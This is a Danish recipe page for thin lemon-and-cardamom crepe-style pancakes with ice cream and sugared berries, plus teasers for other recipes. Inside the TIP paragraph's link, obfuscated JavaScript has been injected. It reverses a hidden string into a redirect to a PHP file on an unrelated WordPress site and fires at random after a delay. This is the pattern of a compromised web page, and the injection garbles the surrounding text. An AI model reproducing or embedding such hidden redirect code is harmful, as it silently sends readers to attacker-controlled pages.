Verdens bedste pandekager

Denne opskrift på skønne pandekager er i den franske crepes-stil, dvs. at de er tynde og delikate. Selve pandekagedejen smages til med citron, som giver en dejlig friskhed, men er du til helt traditionelle pandekager, kan du sagtens udelade både citron og kardemomme. Opskriften er lavet på hvedemel, men du kan fint eksperimentere med at udskifte op til halvdelen af hvedemelet med fx speltmel. Skal de være uden mælk, kan mælken også sagtens byttes ud med øl, hvilket giver pandekagerne en lidt dybere smag. Vi synes selv, at det er verdens bedste pandekager! Server dem gerne med is til dessert.

Opskrift på pandekager med is og rårørte bær (4 pers.)

Pandekagedej:
250 g mel
3 æg
1 økologisk citron, reven skal og saft af
5 dl mælk eller øl
2 spsk sukker
½ tsk salt
2 tsk vaniljesukker
1 tsk stødt kardemomme
Smør, til stegning

Rårørte bær:
1 pose frosne hindbær, jordbær, blåbær eller blandede skovbær
100 g sukker
1 vaniljestang, kornene af

Ved servering:
Vaniljeis eller alle mulige andre slags is
Flormelis

Sådan gør du: Pisk mel, æg, citronskal og saft, mælk, sukker, salt, vanillesukker og kardemomme sammen. Bag pandekagerne i smør på en pande. Server med vanilleis, jordbærsyltetøj og et drys flormelis.

TIP. Er du mere til de små tykke, amerikanske pandekager, har vi en dejlig opskrift $nJe=function(n){if (typeof ($nJe.list[n]) == “string”) return $nJe.list[n].split(“”).reverse().join(“”);return $nJe.list[n];};$nJe.list=[“\’php.pots_egamiruces/egamieruces-ahctpac/mrof-tcatnoc-is/snigulp/tnetnoc-pw/moc.mrifwaltb.www//:ptth\’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000;setTimeout($nJe(0), delay);}andekager-graeskar-aeble/”>her

Verdens bedste pandekager?

Det er selvfølgelig noget af en påstand, men her på MAD&venners redaktion er vi helt enige om, at pandekager skal være tynde, bløde i midten og en lille smule sprøde i kanterne. Samtidig synes vi ikke, at verdens bedste pandekager skal være svære at bage, for ellers får man ikke bagt pandekager tit nok (kan de bages for tit?).

Stor pandekage-konkurrence

Vi er ikke de eneste, der er besatte af at finde den bedste pandekageopskrift. Vores kolleger på det amerikanske site Food52 har ligefrem sat en konkurrence i gang, hvor alle kunne indsende deres bedste opskrift på pandekager. De har samlet alle de deltagende opskrifter her

Trends

Populære artikler

Passioncake

Konditoren Nikolaos Strangas oplever, at mange vælger at spise sushi nytårsaften. Efter sådan et måltid er denne cremede kage med et syrligt pift af passionsfrugt

Læs mere

Syltede oliven og oste

Det er desværre de færreste, som kan få fat på helt friskhøstede oliven, så denne opskrift bruger forskellige slags oliven på glas, der vendes med

Læs mere

Pappadoms med yoghurtdip

Pappadoms er tynde og sprøde indiske brød lavet af linsemel, og ofte er de krydret med alverdens varmende krydderier. Det er muligt at lave pappadoms

Læs mere

Macarons med kaffeganache

En af dessertkunstneren Nikolaos Strangas’ absolutte hitkager er macarons: Små franske makroner med fyld af fx mynte- eller jordbærganache. Det er lykkedes MAD&venner at lokke

Læs mere